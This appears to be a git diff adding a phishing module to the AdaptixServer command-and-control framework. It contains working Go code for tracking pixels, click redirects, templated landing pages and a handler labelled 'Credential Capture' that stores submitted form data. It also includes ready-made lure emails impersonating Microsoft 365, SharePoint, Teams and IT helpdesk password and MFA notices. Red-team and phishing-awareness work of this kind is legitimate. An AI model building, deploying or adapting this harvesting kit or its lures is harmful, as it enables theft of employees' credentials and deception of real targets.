b/AdaptixServer/extenders/phishing_service/pl_main.go new file mode 100644 index 000000000..8f42b3980 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_main.go @@ -0,0 +1,151 @@ +package main + +import ( + "encoding/json" + "net/http" + "sync" + + adaptix "github.com/Adaptix-Framework/axc2" +) + +type Teamserver interface { + TsExtenderDataSave(extenderName string, key string, value []byte) error + TsExtenderDataLoad(extenderName string, key string) ([]byte, error) + TsExtenderDataDelete(extenderName string, key string) error + TsExtenderDataKeys(extenderName string) ([]string, error) + + TsEndpointRegisterPublicRaw(method string, path string, handler func(w http.ResponseWriter, r *http.Request)) error + TsEndpointUnregisterPublic(method string, path string) error + TsEndpointExistsPublic(method string, path string) bool + + TsServiceSendDataAll(service string, data string) + TsServiceSendDataClient(operator string, service string, data string) +} + +const ServiceName = "Phishing" +const ExtenderName = "phishing_service" + +type PhishingService struct { + ts Teamserver + moduleDir string + mu sync.RWMutex + stopChans map[string]chan struct{} // campaignID -> stop channel +} + +var ( + Ts Teamserver + ModuleDir string + Service *PhishingService +) + +func InitPlugin(ts any, moduleDir string, serviceConfig string) adaptix.PluginService { + Ts = ts.(Teamserver) + ModuleDir = moduleDir + + Service = &PhishingService{ + ts: Ts, + moduleDir: moduleDir, + stopChans: make(map[string]chan struct{}), + } + + Service.RegisterEndpoints() + + return Service +} + +func (s *PhishingService) Call(operator string, function string, args string) { + switch function { + + case "campaign_create": + s.HandleCampaignCreate(operator, args) + + case "campaign_list": + s.HandleCampaignList(operator) + + case "campaign_delete": + s.HandleCampaignDelete(operator, args) + + case "campaign_start": + s.HandleCampaignStart(operator, args) + + case "campaign_stop": + s.HandleCampaignStop(operator, args) + + case "targets_import": + s.HandleTargetsImport(operator, args) + + case "targets_list": + s.HandleTargetsList(operator, args) + + case "targets_delete": + s.HandleTargetsDelete(operator, args) + + case "results_list": + s.HandleResultsList(operator, args) + + case "results_export": + s.HandleResultsExport(operator, args) + + case "templates_list": + s.HandleTemplatesList(operator) + + case "landers_list": + s.HandleLandersList(operator) + + case "template_preview": + s.HandleTemplatePreview(operator, args) + } +} + +// sendResponse sends a JSON response back to all connected clients via the service data channel. +func (s *PhishingService) sendResponseAll(msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendResponseClient sends a JSON response to a specific operator. +func (s *PhishingService) sendResponseClient(operator string, msgType string, data interface{}) { + resp := map[string]interface{}{ + "type": msgType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} + +// sendEvent sends a real-time event notification to all clients. +func (s *PhishingService) sendEvent(eventType string, data interface{}) { + resp := map[string]interface{}{ + "type": "event", + "event": eventType, + "data": data, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataAll(ServiceName, string(jsonData)) +} + +// sendError sends an error message to a specific operator. +func (s *PhishingService) sendError(operator string, message string) { + resp := map[string]interface{}{ + "type": "error", + "message": message, + } + jsonData, err := json.Marshal(resp) + if err != nil { + return + } + s.ts.TsServiceSendDataClient(operator, ServiceName, string(jsonData)) +} diff --git a/AdaptixServer/extenders/phishing_service/pl_tracker.go b/AdaptixServer/extenders/phishing_service/pl_tracker.go new file mode 100644 index 000000000..3e4729900 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/pl_tracker.go @@ -0,0 +1,253 @@ +package main + +import ( + "encoding/json" + "fmt" + "net/http" + "strings" +) + +// 1x1 transparent GIF +var transparentGIF = []byte{ + 0x47, 0x49, 0x46, 0x38, 0x39, 0x61, 0x01, 0x00, 0x01, 0x00, + 0x80, 0x00, 0x00, 0xff, 0xff, 0xff, 0x00, 0x00, 0x00, 0x21, + 0xf9, 0x04, 0x01, 0x00, 0x00, 0x00, 0x00, 0x2c, 0x00, 0x00, + 0x00, 0x00, 0x01, 0x00, 0x01, 0x00, 0x00, 0x02, 0x02, 0x44, + 0x01, 0x00, 0x3b, +} + +// RegisterEndpoints registers the public tracking endpoints. +func (s *PhishingService) RegisterEndpoints() { + s.ts.TsEndpointRegisterPublicRaw("GET", "/px/:id", s.HandleTrackingPixel) + s.ts.TsEndpointRegisterPublicRaw("GET", "/cl/:id", s.HandleClick) + s.ts.TsEndpointRegisterPublicRaw("GET", "/lp/:id", s.HandleLander) + s.ts.TsEndpointRegisterPublicRaw("POST", "/sb/:id", s.HandleSubmit) +} + +// extractPathID extracts the last segment of the URL path. +// For /px/abc123.png it returns "abc123" (stripping .png extension) +// For /cl/abc123 it returns "abc123" +func extractPathID(r *http.Request) string { + path := r.URL.Path + parts := strings.Split(path, "/") + if len(parts) == 0 { + return "" + } + last := parts[len(parts)-1] + // Strip .png extension for tracking pixel + last = strings.TrimSuffix(last, ".png") + return last +} + +func getRemoteIP(r *http.Request) string { + if xff := r.Header.Get("X-Forwarded-For"); xff != "" { + parts := strings.Split(xff, ",") + return strings.TrimSpace(parts[0]) + } + if xri := r.Header.Get("X-Real-IP"); xri != "" { + return xri + } + return strings.Split(r.RemoteAddr, ":")[0] +} + +// ============================================================================ +// GET /px/:id — Tracking Pixel +// ============================================================================ + +func (s *PhishingService) HandleTrackingPixel(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + w.Header().Set("Content-Type", "image/gif") + w.Write(transparentGIF) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.OpenedAt == 0 { + result.Status = statusMax(result.Status, "opened") + result.OpenedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("opened", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + w.Header().Set("Content-Type", "image/gif") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Header().Set("Pragma", "no-cache") + w.Write(transparentGIF) +} + +// ============================================================================ +// GET /cl/:id — Click Tracker +// ============================================================================ + +func (s *PhishingService) HandleClick(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil && result.ClickedAt == 0 { + result.Status = statusMax(result.Status, "clicked") + result.ClickedAt = nowUnix() + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("clicked", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + // Redirect to landing page + landerURL := fmt.Sprintf("/lp/%s", trackingID) + http.Redirect(w, r, landerURL, http.StatusFound) +} + +// ============================================================================ +// GET /lp/:id — Landing Page +// ============================================================================ + +func (s *PhishingService) HandleLander(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + s.mu.RLock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + s.mu.RUnlock() + + if result == nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + campaign, err := s.LoadCampaign(campaignID) + if err != nil { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + landerContent := s.loadLander(campaign.Lander) + if landerContent == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + submitURL := fmt.Sprintf("/sb/%s", trackingID) + replacer := strings.NewReplacer( + "{{.FirstName}}", result.FirstName, + "{{.LastName}}", result.LastName, + "{{.Email}}", result.Email, + "{{.Company}}", findTargetCompany(s, result.CampaignID, result.TargetID), + "{{.Position}}", findTargetPosition(s, result.CampaignID, result.TargetID), + "{{.TrackingID}}", trackingID, + "{{.SubmitURL}}", submitURL, + "{{.Subject}}", campaign.Subject, + ) + html := replacer.Replace(landerContent) + + w.Header().Set("Content-Type", "text/html; charset=utf-8") + w.Header().Set("Cache-Control", "no-store, no-cache, must-revalidate, max-age=0") + w.Write([]byte(html)) +} + +// ============================================================================ +// POST /sb/:id — Credential Capture +// ============================================================================ + +func (s *PhishingService) HandleSubmit(w http.ResponseWriter, r *http.Request) { + trackingID := extractPathID(r) + if trackingID == "" { + http.Error(w, "Not Found", http.StatusNotFound) + return + } + + r.ParseForm() + formData := make(map[string]string) + for key, values := range r.PostForm { + if len(values) > 0 { + formData[key] = values[0] + } + } + + submitJSON, _ := json.Marshal(formData) + + s.mu.Lock() + result, campaignID := s.LoadResultByTrackingID(trackingID) + if result != nil { + result.Status = "submitted" + result.SubmitAt = nowUnix() + result.SubmitData = string(submitJSON) + result.UserAgent = r.UserAgent() + result.RemoteIP = getRemoteIP(r) + s.UpdateResult(campaignID, result) + + go s.sendEvent("submitted", map[string]interface{}{ + "campaign_id": campaignID, + "result": result, + }) + } + s.mu.Unlock() + + redirectURL := "https://login.microsoftonline.com" + if campaignID != "" { + if campaign, err := s.LoadCampaign(campaignID); err == nil && campaign.RedirectURL != "" { + redirectURL = campaign.RedirectURL + } + } + + http.Redirect(w, r, redirectURL, http.StatusFound) +} + +// ============================================================================ +// Helpers +// ============================================================================ + +// statusMax returns the "higher" status in the progression chain. +func statusMax(current string, candidate string) string { + order := map[string]int{ + "sent": 1, + "opened": 2, + "clicked": 3, + "submitted": 4, + } + if order[candidate] > order[current] { + return candidate + } + return current +} + +func findTargetCompany(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Company + } + } + return "" +} + +func findTargetPosition(s *PhishingService, campaignID string, targetID string) string { + targets := s.LoadTargets(campaignID) + for _, t := range targets { + if t.ID == targetID { + return t.Position + } + } + return "" +} diff --git a/AdaptixServer/extenders/phishing_service/templates/default_email.html b/AdaptixServer/extenders/phishing_service/templates/default_email.html new file mode 100644 index 000000000..dabea2c8d --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/default_email.html @@ -0,0 +1,54 @@ + + + + + + + + + + + +
+ + + + + + + + + + + + + + + + + +
+

Document Shared With You

+
+

Dear {{.FirstName}},

+ +

A document has been shared with you that requires your review. Please click the link below to access it securely.

+ + + + + +
+View Document +
+ +

If the button doesn't work, copy and paste this link into your browser:

+

{{.ClickURL}}

+ +

This link will expire in 24 hours.

+
+

This is an automated notification. Please do not reply to this email.

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html b/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html new file mode 100644 index 000000000..727fb63ba --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/helpdesk_ticket.html @@ -0,0 +1,62 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
IT Service DeskHIGH PRIORITY
+
+

Hello {{.FirstName}},

+ +

A support ticket has been opened on your behalf due to unusual activity detected on your account. Please review the details below and take action to secure your account.

+ + + + + +
+Ticket #INC-2024-78432 +
+ + + + + + +
Status:● Awaiting User Action
Priority:High
Category:Account Security
Affected User:{{.Email}}
Description:Multiple failed login attempts detected from an unrecognized location. Password verification required.
+
+ + + +
+Verify Identity & Secure Account +
+ +

If you recognize this activity, you can safely close this ticket after verification.

+

If you do not recognize this activity, please verify your identity immediately and change your password.

+
+

{{.Company}} IT Service Desk • Automated Notification

+

Hours: Mon-Fri 8:00 AM - 6:00 PM • ext. 4357 (HELP)

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html b/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html new file mode 100644 index 000000000..f96ca7df2 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/mfa_setup.html @@ -0,0 +1,65 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
Microsoft 365 SecuritySecurity Update
+
+

🔒 Multi-Factor Authentication Enrollment Required

+ +

Dear {{.FirstName}},

+ +

As part of our ongoing commitment to security, {{.Company}} is requiring all employees to enroll in Multi-Factor Authentication (MFA) by the end of this week.

+ +

To complete enrollment:

+ + + + + + + +
1.Sign in to verify your identity
2.Follow the guided setup wizard
3.Choose your preferred authentication method
+ + + +
+Start MFA Enrollment +
+ + + + +
+

Why is this important?

+

MFA adds an extra layer of protection to your account. Even if your password is compromised, unauthorized access is prevented without your second factor.

+
+ +

Employees who do not complete enrollment by the deadline may experience limited access to company resources.

+
+

{{.Company}} IT Department • Microsoft 365 Administration

+

This email was sent to {{.Email}}. Do not reply to this email.

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/password_expiry.html b/AdaptixServer/extenders/phishing_service/templates/password_expiry.html new file mode 100644 index 000000000..bcddf2fd4 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/password_expiry.html @@ -0,0 +1,61 @@ + + + + + + + + + +
+ + + + + + + + + + + + + + +
+ + + +
IT SecurityAction Required
+
+ + + +
Password Expiration Notice — Your password will expire in 24 hours.
+
+

Hello {{.FirstName}},

+ +

Our records indicate that your account password for {{.Email}} is scheduled to expire within the next 24 hours. To avoid any disruption to your access, please update your password immediately.

+ +

What happens if you don't act:

+
    +
  • You will be locked out of email, VPN, and internal systems
  • +
  • Active sessions will be terminated
  • +
  • You will need to contact IT support to regain access
  • +
+ + + +
+Update Password Now +
+ +

This link will expire in 24 hours for security purposes.

+

If you did not request this change, please contact IT support immediately.

+
+

This is an automated message from {{.Company}} IT Security.

+

Please do not reply to this email. Ref: SEC-{{.TrackingID}}

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/shared_document.html b/AdaptixServer/extenders/phishing_service/templates/shared_document.html new file mode 100644 index 000000000..435aa13a5 --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/shared_document.html @@ -0,0 +1,64 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
+S +SharePoint +Online
+
+

Document Shared

+ +

{{.SenderName}} shared a file with you

+ + + + +
+ + + +
+
W
+
+

Q3 Financial Report - Confidential.docx

+

Modified {{.SenderName}} • 245 KB

+
+
+ +

{{.FirstName}}, please review this document at your earliest convenience and provide your feedback.

+ + + +
+Open Document +
+ +

You can also access this document from your SharePoint Online portal.

+
+

Microsoft SharePoint • You're receiving this because {{.Email}} has access to this document.

+
+
+ + diff --git a/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html b/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html new file mode 100644 index 000000000..9b75ace9e --- /dev/null +++ b/AdaptixServer/extenders/phishing_service/templates/voicemail_notification.html @@ -0,0 +1,72 @@ + + + + + + + + + +
+ + + + + + + + + + + +
+ + + +
Microsoft TeamsVoicemail
+
+

📞 You have a new voicemail

+ +

Hi {{.FirstName}},

+ +

You received a voicemail from an external caller. The message has been transcribed and is available for review.

+ + + + + +
+ + + + + +
+
?
+
+

Unknown Caller

+

+1 (555) 012-3456

+

Duration: 0:47 • Today at 2:34 PM

+
+
+

"Hi {{.FirstName}}, this is regarding your recent inquiry. I have some important information to share with you. Please call me back or review the details I've sent. Thank you."

+
+ + + + + + +
+▶ Play Voicemail + +View in Teams +
+ +

This message was delivered to {{.Email}} via Microsoft Teams.

+
+

Microsoft Teams • {{.Company}} • Manage notifications

+
+
+ + diff --git a/AdaptixServer/go.mod b/AdaptixServer/go.mod index 37303a2ef..f5553c933 100644 --- a/AdaptixServer/go.mod +++ b/AdaptixServer/go.mod @@ -4,6 +4,7 @@ go 1.25.4 require ( github.com/Adaptix-Framework/axc2 v1.2.0 + github.com/dop251/goja v0.0.0-20260106131823-651366fbe6e3 github.com/gin-gonic/gin v1.11.0 github.com/goccy/go-yaml v1.19.2 github.com/golang-jwt/jwt/v5 v5.3.1 @@ -19,7 +20,6 @@ require ( github.com/bytedance/sonic/loader v0.5.0 // indirect github.com/cloudwego/base64x v0.1.6 // indirect github.com/dlclark/regexp2 v1.11.4 // indirect - github.com/dop251/goja v0.0.0-20260106131823-651366fbe6e3 // indirect github.com/gabriel-vasile/mimetype v1.4.13 // indirect github.com/gin-contrib/sse v1.1.0 // indirect github.com/go-playground/locales v0.14.1 // indirect diff --git a/AdaptixServer/go.sum b/AdaptixServer/go.sum index 93ccfbc40..8eb9c86ec 100644 --- a/AdaptixServer/go.sum +++ b/AdaptixServer/go.sum @@ -1,5 +1,6 @@ github.com/Adaptix-Framework/axc2 v1.2.0 h1:WYEg502NTTtX1tQJUz2AaC2dmm/bS/1L1iOHOQ5kEYA= github.com/Adaptix-Framework/axc2 v1.2.0/go.mod h1:3oJyFeRVIql1RTsNa0meEqK3+P+6JTAMMjMdVyXhbaQ= +github.com/Masterminds/semver/v3 v3.2.1 h1:RN9w6+7QoMeJVGyfmbcgs28Br8cvmnucEXnY0rYXWg0= github.com/bytedance/gopkg v0.1.3 h1:TPBSwH8RsouGCBcMBktLt1AymVo2TVsBVCY4b6TnZ/M= github.com/bytedance/gopkg v0.1.3/go.mod h1:576VvJ+eJgyCzdjS+c4+77QF3p7ubbtiKARP3TxducM= github.com/bytedance/sonic v1.15.0 h1:/PXeWFaR5ElNcVE84U0dOHjiMHQOwNIx3K4ymzh/uSE= @@ -97,6 +98,7 @@ golang.org/x/text v0.34.0/go.mod h1:homfLqTYRFyVYemLBFl5GgL/DWEiH5wcsQ5gSh1yziA= google.golang.org/protobuf v1.36.11 h1:fV6ZwhNocDyBLK0dj+fg8ektcVegBBuEolpbTQyBNVE= google.golang.org/protobuf v1.36.11/go.mod h1:HTf+CrKn2C3g5S8VImy6tdcUvCska2kB7j23XfzDpco= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= +gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= diff --git a/AdaptixServer/go.work b/AdaptixServer/go.work index 1b04a4b98..7fe9c0ce5 100644 --- a/AdaptixServer/go.work +++ b/AdaptixServer/go.work @@ -3,10 +3,16 @@ go 1.25.4 use ( . ./extenders/beacon_agent + ./extenders/beacon_listener_discord ./extenders/beacon_listener_dns ./extenders/beacon_listener_http ./extenders/beacon_listener_smb ./extenders/beacon_listener_tcp ./extenders/gopher_agent ./extenders/gopher_listener_tcp + ./extenders/hosting_service + ./extenders/linux_agent + ./extenders/linux_listener_tcp + ./extenders/macos_agent + ./extenders/phishing_service ) diff --git a/AdaptixServer/go.work.sum b/AdaptixServer/go.work.sum index a6f3b759a..86efccb2e 100644 --- a/AdaptixServer/go.work.sum +++ b/AdaptixServer/go.work.sum @@ -20,11 +20,13 @@ github.com/fatih/color v1.18.0/go.mod h1:4FelSpRwEGDpQ12mAdzqdOukCy4u8WUtOY6lkT/ github.com/francoispqt/gojay v1.2.13 h1:d2m3sFjloqoIUQU3TsHBgj6qg/BVGlTBeHDUmyJnXKk= github.com/francoispqt/gojay v1.2.13/go.mod h1:ehT5mTG4ua4581f1++1WLG0vPdaA9HaiDsoyrBGkyDY= github.com/gabriel-vasile/mimetype v1.4.11/go.mod h1:d+9Oxyo1wTzWdyVUPMmXFvp4F9tea18J8ufA774AB3s= +github.com/go-playground/assert/v2 v2.2.0/go.mod h1:VDjEfimB/XKnb+ZQfWdccd7VUvScMdVu0Titje2rxJ4= github.com/go-playground/validator/v10 v10.28.0/go.mod h1:GoI6I1SjPBh9p7ykNE/yj3fFYbyDOpwMn5KXd+m2hUU= github.com/golang/protobuf v1.5.0 h1:LUVKkCeviFUMKqHa4tXIIij/lbhnMbP7Fn5wKdKkRh4= github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY= +github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= github.com/google/gofuzz v1.0.0 h1:A8PeW59pxE9IoFRqBp37U+mSNaQoZ46F1f0f863XSXw= github.com/ianlancetaylor/demangle v0.0.0-20220319035150-800ac71e25c2 h1:rcanfLhLDA8nozr/K289V1zcntHr3V+SHlXwzz1ZI2g= github.com/ianlancetaylor/demangle v0.0.0-20220319035150-800ac71e25c2/go.mod h1:aYm2/VgdVmcIU8iMfdMvDMsRAQjcfZSKFby6HOFvi/w= @@ -32,6 +34,7 @@ github.com/jordanlewis/gcassert v0.0.0-20250430164644-389ef753e22e h1:a+PGEeXb+e github.com/jordanlewis/gcassert v0.0.0-20250430164644-389ef753e22e/go.mod h1:ZybsQk6DWyN5t7An1MuPm1gtSZ1xDaTXS9ZjIOxvQrk= github.com/klauspost/cpuid/v2 v2.2.9/go.mod h1:rqkxqrZ1EhYM9G+hXH7YdowN5R5RGN6NK4QwQ3WMXF8= github.com/knz/go-libedit v1.10.1 h1:0pHpWtx9vcvC0xGZqEQlQdfSQs7WRlAjuPvk3fOZDCo= +github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= github.com/kr/pty v1.1.1 h1:VkoXIwSboBpnk99O/KFauAEILuNHv5DVFKZMBN/gUgw= github.com/mattn/go-colorable v0.1.13 h1:fFA4WZxdEF4tXPZVKMLwD8oUnCTTo08duU7wxecdEvA= github.com/mattn/go-colorable v0.1.13/go.mod h1:7S9/ev0klgBDR4GtXTXX8a3vIGJpMovkB8vQcUbaXHg= @@ -50,6 +53,7 @@ github.com/prometheus/common v0.48.0/go.mod h1:0/KsvlIEfPQCQ5I2iNSAWKPZziNCvRs5E github.com/prometheus/procfs v0.12.0 h1:jluTpSng7V9hY0O2R9DzzJHYb2xULk9VTR1V1R/k6Bo= github.com/prometheus/procfs v0.12.0/go.mod h1:pcuDEFsWDnvcgNzo4EEweacyhjeA9Zk3cnaOZAZEfOo= github.com/quic-go/quic-go v0.57.0/go.mod h1:ly4QBAjHA2VhdnxhojRsCUOeJwKYg+taDlos92xb1+s= +github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= github.com/stretchr/objx v0.5.2 h1:xuMeJ0Sdp5ZMRXx/aWO6RZxdr3beISkG5/G/aIRr3pY= github.com/stretchr/testify v1.6.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= @@ -145,6 +149,7 @@ golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8T golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543 h1:E7g+9GITq07hpfrRu66IVDexMakfv52eLZ2CXBWiKr4= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= nullprogram.com/x/optparse v1.0.0 h1:xGFgVi5ZaWOnYdac2foDT3vg0ZZC9ErXFV57mr4OHrI= diff --git a/AdaptixServer/profile.yaml b/AdaptixServer/profile.yaml index 363b546b9..b8a843059 100644 --- a/AdaptixServer/profile.yaml +++ b/AdaptixServer/profile.yaml @@ -14,9 +14,15 @@ Teamserver: - "extenders/beacon_listener_smb/config.yaml" - "extenders/beacon_listener_tcp/config.yaml" - "extenders/beacon_listener_dns/config.yaml" + - "extenders/beacon_listener_discord/config.yaml" - "extenders/beacon_agent/config.yaml" - "extenders/gopher_listener_tcp/config.yaml" - "extenders/gopher_agent/config.yaml" + - "extenders/linux_listener_tcp/config.yaml" + - "extenders/linux_agent/config.yaml" + - "extenders/macos_agent/config.yaml" + - "extenders/hosting_service/config.yaml" + - "extenders/phishing_service/config.yaml" axscripts: # - "Extension-Kit/extension-kit.axs" access_token_live_hours: 12